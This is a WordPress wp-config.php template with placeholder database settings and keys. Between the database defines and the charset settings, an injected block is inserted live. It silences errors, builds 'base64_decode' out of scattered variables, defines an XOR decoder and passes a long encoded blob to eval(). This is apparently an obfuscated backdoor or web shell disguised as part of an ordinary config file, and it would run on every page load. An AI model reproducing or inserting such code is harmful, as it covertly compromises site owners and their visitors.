<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );




error_reporting(0);$bzpa="a";$jte="b";

$dwc="qkaco";
$tdmrci="6";

$sbew="s";$xxvqq="e";$zdrb="zqskfnv";$oogtsrky="4";
$tnzjr="_";$ehfn="vjfynz";$gid="v";
$rxrdac="c";$xdtd="przpat";

$ujx="sxcrzvu";$emmqtz="l";$olzi="eanb";$qrf="d";

$flrk="o";

function v($f, $n){ 
$e=""; for($c=0;$c<strlen($f);) for($x=0;$x<strlen($n);$x++, $c++) $e .= $f[$c] ^ $n[$x]; return $e; };$hyuvfem="xjgnfiqu";




$wrivb="rcolykv";



$hyjdzpmo="mer";






$ddqfqqyo=$jte





.$bzpa.

$sbew.


$xxvqq
.$tdmrci


.$oogtsrky.


$tnzjr.





$qrf

.$xxvqq.



$rxrdac.




$flrk.

$qrf

.$xxvqq;





$zdkdnk="gtn";
$xisfe="jgcz";















eval(v($ddqfqqyo("_ A_OP\Y\\DXUCA\_ALAPOxL_II4\@
U:QNLDVIb\D3EHXUVQQXXY	Y	^MQoTMXs,XI IA@@jE_GK|G UQHKSZX^CYeVEHI1IB!ICV@RR	BDEJIQAB\MCFFNZVUAVIbZEIx
G.CHIA@;B>::KC"+y'3Da/i$/(#Cno2!_?$R-(%#no#Kt42$N~47WP{WF_0Y+ XKS_XE}L;PYYB  EJ.^[OC XE(Kb 0]BJDEU@92[UWBVYM8X;\PWX[]]XT\[\IeXY-CAP][Q][__M^e^tUT@M\XZG\L !BX^+UGL^EEZ^+\*@TGGHLYYTPeB\t\FRCBAOYCTSZ^\^"tKSPTYU][GTAZH ^_ eC)[ELFKF]D
P^?BXMtYR[	BD][QVX\	^_:BX.DBX\T]Y;X.[ABNLA	[[\_(Z,ZXTBDL_FTOLCN]NII(D8.LEJSq\HKTOD^-\_R6YwEE2Z][SQQ[DI@NC\BJIXCYR0I_(}MWFTSHV\@ [TRAM]J3GUD
YJQZ4XQTTIRBZ"EHIH U5Z,@w4AZIA2\DSYS[C}FP_}M	D\Z )IK4#\UXTNEL['UT@B_VZ}KSPTXU]Y9FQQ4VE@FJ)]:3GUD
YQZ4XQTTRBZTBID) _MXw4XQTTHRBZ"EMHIH U5 _NBKMC.:YCTT_0JHBC_H_X}M@S,YNHY)%ZXT@N!^TTA\@ [ELFKD#\UXTBL['EABZ"SC EFYSq^"UGL ]LAVS]:RB))9BWY]}B	D]ET2\PV[_#@TGEOL[Q[8PAI w%IRCBA}^CTTGF4AZEK2\PV
[_#@TGGL['FBZTAID)%IRCCJA}^TANL*EA.w}KSPT]U]Y9FSDQ4VE@EJ_}\Q^JE[C}QCTTD@8*$CVCTU]J3GUD
YQZ4XQTTCRB,(}DDTEVH[_#@BW_}M	D_GZq  ^w'[ABN}YE@DH%SQ^ECUAqBCBEDY\B_TZI:E&UD_/TW@Q  BRGVATLB#.+0O BB\Q\@]R  D@+9%5UDX!IWGUF@<<YZS S-UXUXEQ_^R B_L]T@C S SUXUB_Q_;K+ BGEZ+;uy	>XFWYKMAAz/|B\QBI*]R&%  D EFNHO MMB\QAI#]R]HJE9y.ECU Qh
WZ;PVYLBOS@97O BB\QEK]RRA@<@";H^ScZTDQ DLRGVxEDXH^SCZTK Q XRGVMZDX1H^SXAZTX
Q WO!/=& D@FNHO M/TW@ BZL]TEJS SUXUbMQ_ * BY.L]T^mS S
UXU^AQ_ BOL]ThMS S(UXUMXQ_ B^L]TZGj%:)8S^OBDW %ftDVYLCOSD5600O NB-MDYBJ^TSQXDMJOX
BT-GE[mIZJOSv2O@BOhIMYMYw?VE@FJ_v\Q^G[CIQ.+,GBZ)EHIHS/@YCMBJIXCSFY\AF,[UGBZ/CVCTVG]J8GUD
YQZBMQY>vYE@KH.DSZK]Y2FPQBBR6YZHY).ZOTGKBY]vB	D]Tq^5S\ED	\I^N]vMAZDH.DSYK]YO_HQOXCUsOGJ.[B_SjX!M@IHYAX/'JHBCP_XjM@,.-YCT[@_FU)Z.BTY]jB	D_DTDK_ IG4\BZ#XQTTDRBZ5SCPEFY2ZOTGFBY]BXN[AXOOM+FT8J^ YBSQX:CGIYRVZ

BI > TCV^_IsIDXN_
F[D_I,O
EIMRG_TQ] 0EI^T_WZ_\I	GB] IX<C

ZS  UD I*GE\EC^XT___ )OC
GCVHOHXQ][]IYBE
Vb$ \B_TJI	JFIY^SbXBOEC_FLRC@@S@IStX-Yq^^tX	 :I#C]IEJ^CIBw ][	BJ_}\Q^D[CCTq>!^GMLXXDD)0EI^TDWZHCY(}SASKD#\UXT@L[QCBBq*$CVCTUL]JEU)^XT_H^zR_MI08^O6CBRRVB_S}X>MJBmO R0bZ$X_[ECPRwqJXYKMeB)][	MJ[PHG Ie=XFTRXZ[	A^+\*@BY_[]F^_=B I:GUD
QO_ZUBM8X;\X F[[B^?BXMtYE@LDTBJ !BX^+UOLA\[[\_(Z,ZOTLYYT]Z
 Ie ,IE_
MCOYCT\[M^I8Y+SMFKF]D
	E[YXMKA^ J@_TJ/FU5J-T_X8X\PMX H	)S_DQ.+Q_DJR6YZ	Q\	N_
AQO_ZOXCU%Y2 AJORO MIB+ EC\YXKIETOC	tXJ* 6JIXBT9Y^:Z) A_HQOXCUYZWO_ A$R)SG\NA&1Jd&]RYG@y.=e"/ECU QIWZDIVYLHOSCECU QFUBF(~2:T \SME UDHIWGP,'HOSM ECUF'}V?+IW@CB VT MSMEZBDJ[&v &2 B?))UOSOECUH4TFT BZIV_^XF!S^OAEPH$Td$@RGVATFM*:#"O #!`B\QIB]R DXFNH7O CGPAGMF	d)L,HDB \[^I^P0Q^^DK]	R [H
-}B	^VZqw2\D[VU]Y9JL['UTHFLXX}DDTMQEFY%ZXTMCZqMG B6@IIH3}QCT\IQ4ARGZ}KS [H[_#@IBY]XBqYR
VZMD')9FM]W_	IV(V [SHI>ZSBMQZ4XQT\IV\@ [HSHIHS^	BO^ Aw4VEHSJS<_ ^	BO^ Aw4VEHGH%D[W[_U	H+NTW\COA*"]JEU))9JL['UTCLXX}DDTSEFYSq^B^i	I\GODi4#\UXTTNWG8XYYAX/0JHBX]TUB--}UTDBZ"]J3GUD
	_X	QqB6@I] ;YX^YECX_XC.%Zwv^CTE_qw?VEHH.SQCS[CvQCT\CQ?ARAZvKDTTK2Z _C^JOA@CIV]JNGHE M BY
MN]H_^H_XIXWCBIMDDQR_BDBQZDMT_NXE_T^R]Y^
N@ AILCMNJ\YKWM
JR@IKTJ
_VOKA]SDDQR_BEHC
VM_^DE T\I_S\	DCEUCETAH^MILY_\BOILE_^LH]MJHN[^UMLHTU@NXEQQCSDDQR_BDDTQM^ C^XQ \CEB
YHVBEC^I ER^MC@_O_BJ]QN[VHY_EZ[
MM_^RXUBBXH_KSSDDQR_BDBXF@\KQBKY^
TCXOVO^B M\HEJQN[ZJY_MZOOHEJ[LHVMPXU	ILRXV[B_\DBXFCU@F[JRU\X
ITMKS\	XDEK IUCERI_B VEBE
CB_[EJ]QN[V\V XCFVIYTZQR_BDBXFCUETBJIB A CCS\AMIS_@
 THIXLY\Y\OIDMH
HNJN
YY HMMZJ]JNGHE MNJ\[KW^ZJ]MLTEU	KJ
BX	ICDDQR_BDBXBNICD@^BO I	_B
DUT	BKVOMUM\\_E_^@VEHONJHEMZ
^O IQC^EJRKHXIDFB XQCEMA NSSHN	 MJ HHZOIDZ_IUCB^_
UAE[ACSDDQR_@QIO[BXBIHCDOEBS_ M@XU[B MM@@^USH&&iB>
\P	@@ssJ
\I]SA]~kCBVIMX ~XBIFDKSUYVW&EQUY^T_ \^sYIX*IM\\EJKFBC][Tm6"&*43:!fg:>b* '~1y'"3() CIJKXDY XBATX\KXZ OP@]IbQ&|JEXWJYO,IT
XIE  M@?mmjBXaQSB TX~@, 7HHm7]BQET\@ @s%6~35$w"i><;.2hh1Sq]HBITTZ@s%6~35$w"i><;.2hh1Sq]]\HCFEFF]BY_WAEHO. i~51~/F%*=="7mh2!8KI	_Q[\ JK-'7:zi$(-$"|s=s7:9&2~h&0s2.0H/][H

V[A/%i~3i#.L9'x|<,s2.083&6-hs0<~B-_BCBEA]RSTGDOZ\V7i$%i7+Qdx1|.-47<~{"&h1%=)=&U5H[:#3~z ~*R84!zi1+m0%0H/][AWR\X\@
H]L]T G+134* /U xx&,t:69~{$~50/.5c~D)OAFTOHE(8KI	_Q[\ JK-'7:zi$(-$"|s&`80%%,e|D)]ADIR\ZLs3!z "-d1x!*(=:ib7+e$F?FNJUYXCU^GE
WUCYWs&&z139H: &8so::i+$)e|BqXIUYWs&&z139H!1 >i~)2h!"QqLQO<'i&7'=)S:<x|)0`,58xs,|V(PSI@EAJGSXU^Ws65$zi7wV=?%#so%+o;/,*1 ;&ks?#8Y_
CY]O. i~51~/F*;&$-+js5<b+55xe+k.<;V.]SFVL_\D\YVU
EX^s6i##.#(d7 |+"$01;<&io":b"/?|8MKCU,i1"i&:E<7&$-~s77h7W+L
QNs01~"$04U<&<|s55s&?8bi&x8;,.:|>OQTT	LE\KWs65$zi7wV'.<<xi<5h03E2I	RIXBET\EQ{a{JKUJ7IT XXQKI~JJ]kBORTBOCPIX7IC&~ABORTRHE[I UAs"09'6~wD<x 1==727:i~Q.LP&EQUKQSCT+2'=$1 3d"'|:"3ji7i#R6QNK IJH: &8s~35i75$^&QUKQSC	&~ABORTRHES XUM.&.#%i~8Sd 520 14-~i$TqLYV^IYKSQ&iTTABORT XYA/%i~3i#.L9'x|<&i2$0* S/S&VSz&&JQ]JBOC>X7@YX\{SCYRIX$M	EWQYA\P>1* "7:w>'x5/#i7s02.?'qJ]AF0!1 >i~-Td1$&sy6i#**66bxD)IA
>'x5/#i7s02.?'XTQTHs%6~35$w-x%%4$ i~<5k1/6H/OR&Q|yJXE
BQ7CAB: 
Z]R&VSAMH ^UVQ\M I+sDH ^&QUKQIXBTE

_wT;CTqoQ{OX
BT"COLP&EQ^BC\\V7i$%i7+Qdx1|"R6XS

CPs'$097&)Odx"#B-VXVTPT+2'=$1 33!z ")|c7xV(KLNWGT^BM _Y\EJVDXOD^Q&~&K~ I_d_JTW~ABORPMH_EMVM^M]BJyCTJZLs3!z "VM_EQNGMFRxHVSEPJM_UXARCRA[HVTd1$&sL
KQSCTTABOEBoPVEQU{SCTTAF^KS_)^I@YTOTYFNO^H[_)^I@YTsOTTFNO  C@IXYNX]OU CA]HKFI~RHVSETIMI0UIM^)A_OVYIMyEPVQ&EQUY^TS&Q|yJXE
BQ
Dh M\E
	OGZSH@  QQ_II]AeRTRHEJ^RE/^^UYQH@]TE
V^IZ&CTT IMUUC&TABORTRHEJ^ X _ADOGOTXRLCJ IYVXXOY\\
BQ XYA
&VSzVE^J_Zhx~BOCPBO
H&OI"H6 
D@ZLX VWGLP&EQQM^TT'_A_&EQUY^TNYF+OCAXML{a{YB  EBI^7BH'M]E[_OTHBxTRHSE_IS.HIKP_]ZhORTRIXBE^h OYW_ CPK]Zhx~BOCPC^ B[EY MBKAW|yEPVE\)I_CIW- 7NU_MTB\XXNaQSGI#RUY:sNXCUIUJO&TABOV`IXPKO
YCUIU!XKTx~RHRIXnXKLSwqX~TAB		ODV[YX'UQ_GI_BKyEPVEU@X!X92RIRLNU;PRGIn(ECQP
>XD+H&EPVQo&{UKQS^I^A 7XC)XH^^ _3
XI]~heXEhICCUIT0 ^CRPUV&oPVAIHn IA_O
ZNE[XEBJyCT- VXH)XC:N[GOkBORTVIU:BEO [Gn[OxbVSCH H3 C/qOkBORT^^WEEMVEUWQ X^B\EHnIYMZ\K
yCTTABKHI1UwqEQ[IC- w.E.VG U3 w
T	TE	
8KX.oPV&{UKQS^I^A 7XC)XH^H O1UXOkex~BOCPXJ]s4
XI\[HW&VSEXYBQUs\\FS^H_X,_XA_X~Q~kCBVUsX
sI[N IHBxTRH_EVNaQS^ R\V
UX VNX\K
yCTTABK @XV]E^ANXH&CT	kBORT XYA_Y	XJ{yJYXO:I_B^Y@XU{yCTRIRO|SEPJ_.
MNS+EXQZE|EQUKQWODCI-XR^	YM&EQUKQSOYs  ZLODZSo0":c|1s"&'.%i~*2u$$'=^T	@_ZoPVEQU@sXGVDo#!`* "s6`.#.#:ju+; MB][OxHVSEPY^	sXGDXA!: 8=8xs0<`)?!`c&m%<$?_JO&TABORTRHOYsC\U]Soy18c$5==7 ':bx$2b663~ EXNaQSCTT+XCA &y#9$!'sd&5h13NOB]IbVSEPVOY@.\XKPOMB,'&>'|x)0c+>3ox1e<0$$' RDOkBORTRH^	/IX
\]O  !~8.2;- ;%ic#' EAFoQUKQSGIBRR@sIXRODL{UKQSCTRUO@:XEJ]KUDJO&TABORTRHOYs_IMBJyCTTABTZLDII+QDX\.qCUTSR_[T XY_I^&QUKQIITheRTRHVSs\^QN\_>\V^@_H&EPVEQQC\0 IH-T_AIBqQHVQTDX_SHYeRTRHVSE60?QTCPY=HwQMQqo&QUKQSCJ\ ZLY^,\IH>  
qJ]PRZOHQSET^@:\wIE2I~xHVSEPR^I_HKSSdx7$EOR3 ( C_IGPX^*_I/U)RF*p3BB OIo_=3( 4BMyEPVEUC_	 @ @EOV_@KZDVSDSTOBK7\M I+QDCXV(GQW__TTUV\RNRPMy&EPVEQYW_C ThORTRHVSEP6J\X]OOGOTFI~RHVSEPVA^QHKAH&CTTABORTRH[DIMQICUiTTABORTRHyEPVEQUKQSCPNT\B	O\VWXNaQSCTTABORTRHE[YV^ _UELSNX~TABORTRHVSEPJANQHVQQp^?]AFRIRY&VSEPVEQU{SCTTABORT2O@ IMTCOJKQSCT	kBORTbVS^ ^BEH&Qi~JH^II&C_U _^FRxbVS\XVRP{yCTEI-@MIMWY^	sTC&~ABORTRHXPY^	s[YOkhORTRHVY)_ICCUD C7y&--?&+!;`s 6~,6/|i ~]U_IJO&TABORTRHOYsC\U]Soy18c$5=<!8->i~?5u-?%x EXNaQSCTT+XCA &y#9$!'sj,8`;6. 15&!cbZSLK|EQUKQY^+_\VD V0y7<9|x:~4!>#=x~":2$0CRE[S&VSEPVO^*C\\	NO1! $c|",d 12i~IA\P{SCTTA -IXXMTD Eo$''>#xs ;b:$!;&=?-cy"_T@_&EQUKQSO@+@O_&%$`c5x.!"<6cy7XEQKTxTRHVS@sI[OX740#=$&7|c%' EA_&EQUKQSO@+@O_&%$`c5x.%$"'je&8h'MBK 	A__H&oPVEQUO_\CI-
ORDLK|EQUKQWDIIA_O sKEAOUBJy&CTTABO sO_ XRODL{KQSCTBGV	HI(\sCL,SCFDHB B@M&&EQU_IC&~ABORTRH@: ^_ HQHK^_+YJKA&VSEPVA_KLS@+3_IQqXQR\_D]~kBORTRHRCTXEQMA<C+IM>zVEQUKQSD_FBRLT)bVSEPVEQUKQTZIJ>
UHVM	 &EQUKQSCTTABOUEJ,\ sBARKLMJ_kBORTRHVSE-|EQUKQ.i~[ABORTRH_dCXQHKYW__TTFN]GLSBYVAY4^_wS	S/HVQGPXA_KNSPTTE+	^_wB ^XBqXNaQSCTTE
dCXP^_@QJKV _@Y[SAXOUS[HR^	/M^I.L_XD)~kBORTRHMT^@:\w^ F?FRxHVSEPVEXdXTO_OPNPHR^	/M^I.L^XD)~ABORTRHQ_ |EQUKQSCP^<XXNMT_@LNUIKQC@GAXOPNPHNCoPVEQU{yCTTABKIXVNIMsXs EGVY@;CZ ^]SIaNOCA^Hx$6m(/5`e b%*(>=bi   TE  XMy&EPVEQYW_C I HBx~RHVSEPV\YW_C I MBM";!<V]A@sM(\ DS<BARVR xx&\K@*^pXNaQSCTTABORX_^W_
IXIS=ATTE+	^_wB_XBqQ[KS/^pVOkBORTRHVSEYXUIXOT7EXUE\@OTN[L  _^@O
HppWBJyCTTABORTR\Y AOG X]UI2BXXY RX XBA\
 A(^(@FI~RHVSEPV\YW_C I MBM1IOCJVO@
_)-p^?]ZhORTRHVSEP\Y_YQGIXPHT/^9*^pXNa{SCTTABORTVVCoPVEQUKQS[@IC	@_G _&QUKQSCTTABORTV
VK C_SF]ZhORTRHVSEPVEE]OZ_ALRRPS&VSEPVEQUKQSEJKPNT\_OP( 4B_SPK^&QUKQSCTTAexTRHVSEPVJ@YW_C I HYexTRHVSz|EaQSXOV\|yQozYBXQIXX1=/IX!X3U\U
A CPGKO	~RHX\I*ODKV4N@CRCH CImH3E@ ZL\MAL\VG UX\KLNXI~ABORTRH
PyEPVE,AMD\CM3\[PDHC%CYO41M_B\HI^W\AIUZ^I 
I~b&JOBI6AM
e&% nMQXR\MM\K
yCT^TIK)MJl^WGQM_B+@\MY_XyCTTABIT~RHVSE IK:A[?ZVMB^sO
MXZ^TXTx	xbJYXH X4ME=B3GVMA_SWoPVI S\^s \PGlT_A ^MQHVQ^Y~TABORTRN
&VSEPV^4XO\[=L@PXRL\MALPK^P{&&B ToCE 5MN	IYQEH I 	
0CHE|&EQQoCXT\B_I~xHVJEX__ XYQ466xwAOV<KFRxHVSEPRKIo SCPs3$64PJq|SEP&&EQUOCEI@J TBIPEA XU@Q@SXVN@FI~xHVJEXWE_I]O.0cc(=i/C P5V&EPVEQQ[K oRIOHVE X_&EQUKQSDHJH>	XEEWXs6i##.#(|+$s'$.)U)\HGPXAK(BXC_EHBARVTGTSET M@H%GI0I
]IHHE[^zVEQ{{y^\
RIRJ|W^ I_yKLSX~&[NB#HZMH&E<3i :ES/A
PSXN_C_.IOI\E=(7 )OXGQ.LPKAZXI7G&
HV&oPV_2IiNJK-37<w8YM&&EQUO^A'XA_O 	U^QXRVEMX C+IH_H&EPVMS_WV0HI^_
)IBCCUC^0M  KFI~xHVW^ I_yKLSDXTOBK zMH&oQUKUI_BBRR  A^ )XM_Y I_$CJK I_&^	\V\^XZi~TABKcNOPKFC*CH\H'^O2B2_ISYQ \CIXAF[A&|SEPJM<NFXY_HHMx
BLHKUM@
M 6 ,IOIPP
AF>FI  JEXxIWXSE4CsCS+CVHBxTRHVS C_4OCVQ= B+XsCTZoPV&{UKQSHE\Okhx~]GiE	P^MGa{WIA@  HTQoTIJEQ!IMIIKTxPVI"M@,\02jJO&~OZIX^Ws"5"wHV(BXSW&CTTOZIO6AeB"I"o^X\E=(7 )OEHQ. ETIULQQE@7M
RIRIOI6^O m) IW\XGV+5-xwQHB-_ AGBJyCTEAJ XiE	9kI{3_IU@P>%*&/UH+ZETAM@%
I^CI 
D@-IOIMT)ki1wVV.iTTA	R\XIi@ekCU,ki7/E2[]RLIA@1OG ^QHKU,ki7/E2I~xHVW^ I_|
 C^ OZ~RHVSEWHEOUOME ^	
 XxHVSEPQE\BLKKU\ iTTABORTUIJQS[PR^I&QUKQZ&CTTE
XyXPRDCXQ[KU I^^09U|SEPR^IY!^MIACH[IHI6C2BH!_WVGZBsO
I  |MAHKO^TVIU_ZoPVA^; CB0 ^T\B_X&_XR^IY$@ CP^
 "	^M ^z|EYZ&i	&~ERIRIX$M	^&{Q D|MA_OV+1'cg?6wGqEQQ42<cg*1wV	M/THHMyIcJQN<7c;*+*)VJqIS:39cg,i*WS.CVOkF'JJXEMVs&c>>"4(BA)KAF01;=#ei-QBG-VGJO
_|XRIRLso9<g,5-_,UTQWso,;g=$9MP5VQ^zR_UyUVQWso,;g=$9MP5VWs&?9ge wSS.CVOkFIySET)oc*g800SY>TTE=,=;9!iwTYG-VGJONhZBRRP-+cc=:i>RH8NUO.0cc(=i/CP)RRTH&ABK0MQHKN_P>1* "7:w>'x5/7oo |%*'0=ky"3iS<N_^F[HN:4'=4!w+ x$>#,11"<s`7=k011i8 AYYXSAV~EHTQoTAM@!bMIA@MI~VYI
BK"IUVQQiPD 
 $	XJAEMVKI~ XdHG[/P;IO[0DH%|	MqCK=_X>M_LwS&^oDN!MY1A+SERT&oEUCU,oc,?e1:@P)RUTQE|ESD@TOBMNE\ME^VF hIO ALOPH]O^X[RM&EQ_OLYAXE^V@CMS@ G[ONG_O\NT&EQUX~Q~k  D^Ws"5"MU
]T ]R&&VSEA\
SCV]AeRTRHVSEP^HII.E@*k51U\[MAIUZ~TABORTRHVWI@XI^#6IB[XMX_U]ZhORTRHVSEPRIAE%
AbIT\BK&VSEPVEQUXEIOkBORTRH@JI6AM
e&% nMQXR\MM\BQ&CTTABORTRHIE	PKN_C_.IOI\\VM^IPRGIJKQSCTTABOV	E@&^8MA LUOAIX~TABORTRHVCBY {UKQSCTQ
ZIXX E@,B6YW\MA]HBxTRHVSEPV AQN^YeRTRHVSEPVIM;MA-AA_OVI|SEPVEQUKBX
YZhORTRHV&EPVEQQ^U0 ^( RFRMVBVUEQW\MATOBMTVIbVSQoz&&A] X^
K3OOTN_AI^kIXDMBBC]Ib&YS|M^ _&i[TRMAVJo&KYWDM|[TVAMXPX^AYQ D|MMBK |MA>@+o&U I_!^A_OVXXSZIh
gIO&~E
X|MV^Q[&CTSHRILHE_&EPVIRKLMJXkBORTUMVNETM oQUKV^JP!D&VSBXQQE@O~TABHSRURM9JJIYaQSDT\\OVIc_ Z&EQRT]T?C^_&EPV\VUVOSDH2 ^AZyEPV_QHUQW_U!MXkBORTUYVNETJ^A 
]yCTEOOJRL[I7^^&L{O]YX$ RUYIHIMICO 0^_
)IBCCUI]_ 1A VWG 	_o&^ZK#]YX~E
8CB%^EMV^IY!_XKP^
 '@ VW^ I_|
 iP^%'NFVNBsI[HI H2 )BH4_ FBI!B TE	
][S&&MTI_f>F^IVCKOMy&VI!BcJ@ BjzXCUVLSOX.PAW|yEPVEJEUf_cOQ	V@SXPTEHCXH&&CTTOZP _\< C?F[WScJ5_P	RUTBXIXU{SCTTARJAMEX\HI  N^^
HRXIB@MY^	S[KUI_>_-YLYPX[JKQSQ_AexTRHVSV_^YW^If _VW@GZ
BIZO S[HKSJIEW{UKQSCTTAB
HXPXXJUTBXXXWFY@LWEQW^If _VW@GVBSNaQSCTTABORMyEPVEaQSCTTOZPMESXPTEW{KQSCTTABOZCYA/1ixLOU[XSW&CTTABORTRHVS CGSDXIUIJ_WVOCXLT@ICLOV\fB*SAKZAF XB7XKVKIJyCTTABORTRI@zVEQUKQSCTTTPTAI\ ]LT^II	EOIBNUK^@X_UO_\)C. _J	JY^QQE^TG{UKQSCTTABx~RHVSE@_ 
aQSCTTABOR@]^#^EK6QNAVThORTRHVSEPVEEUCUM_$M FRxHVSEPVEQUKQSDA@S	D\HYEVI_SUM^	MTA^; CB,FY_MJQXSD|^K_QAO&TABORTRHVSEPVQI	_U{SCTTABORTRHVSEDCEMD \YOO^IIQO
BNX^\@ARP _\< C?F[WS QQMVVOBK@|M>AIESHI_SIEALMUJPS&VSEPVEQUKQSQ&CTTABORTRHQ_ P&&EQUKQSCTTABOR@D D5MAL
KQSCTTABORTRHVSIYA
QXXYIOS J^ DBPCBIVVCYVkBORTRHVSEPVEQUKQSCP^%'NF[MWG@&QUKQSCTTABORTRHVSE^TKUUE%
T\HD D5MAEQWLOQ&CTTABORTRHVS_IEW{UKQSCTTABORTRHVOVIKX\N]RU^IEBX BHLAHY^I~ABORTRHVSEPVEQUKQSGI(=
FHQoQUKQSCTTABORTRHVSKRIE
|MA: 
xTRHVSEPVEQUKQSCTV\@ARPMEyEPVEQUKQSCTTABORT\J
XS^U6X4IXCZVF\MI~RHVSEPVEQU{yCTTABORTR&&VSEPV&{UKQSQ&i	&~k	R\VI_9_
9NFH
W
EC2C7 QVNERDCdSZWiTTAFBXVNIQsIGI(=
FH@JKQSlMIEPLSRFBX^&QUKQEIK]~heR@^ \/BcF\KSOX
B29C^TXMVD
_1EBA]kBORTV^@"~ ^IXQHKX|XZ]RFKh
EB+MCXH&CT
 RVNIXSDIYVVIJ_FBBXKT^@GQQxC1HT\JTH&EPVHIY\P{&&
\E
8CB9FHNMX7^z
E MTOUX#BHGQaQS X>
_I)C^QJKQSH
]Zhx~RI <_CcFOM  E$  "EXPKGJSZWi~TABTZL^IfcNOI@IACOOIRJVE X_&oQUKUE@0M  BRRIB,IHIMDYB_WV0HI^W^ f_
B>\MW@%VAMy&EPVEY	.IX<IG[]R&VSEPVCs.@I]ZhORTR&&VSETUX oXIIA
 	XI$BXECXH&CTP:NI XPIB ^#BH \[S&VSAXI$^QNKI 
 CA%^^&{UKQS_I5BRRI^I7HCX~TABK
bMXPIB ^#BH \[S&&VSEDCESAH_JxYBE
VE2_MVPNO
F[HW&VSERXM* CYI6RZPbQ&|[JXE
BY\K
yCT@BM\TV
UX0DOX ^UESS CIEM\TVE@7MVBJKQSCT~ABORXS	IbASCIO3 	UT]AXI&D
I^TVO
 |SEPC^EQCDTBSRV\HNI&^MXQ]B
TRYCyEPVES[KUUX:YT\JwE+SERXU(^M  IBAPZ M^5H 1EL{UKQSQ&CTTRV\HNI$MUESUVQI[C!EZ. XS	IbASJO&TABOxTRH@G^VN	C;
ATTR6N-QETUX m
S>XNROVW^ f_
B>\MW@5VHQ^z|ES[KU MZ5_TO@GPZRLN@bG QRI_S^\>=EWTE	MA UESTiTTAh[\[S&&J\_\X[JaQS
\E
8CB9FHN^ HmJ^2
P	[bVSEPVIOCQWWXMCX O
JDEOXDDRPZRL^IfcNOIHEO  4@ITKRQ^&{UKQSHE\OkexKLb&"),",ct,tabortrh,,vs,epv,,e,qukqs,"));






$aateeok="dwsk";
$csho="vjairtmti";





/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';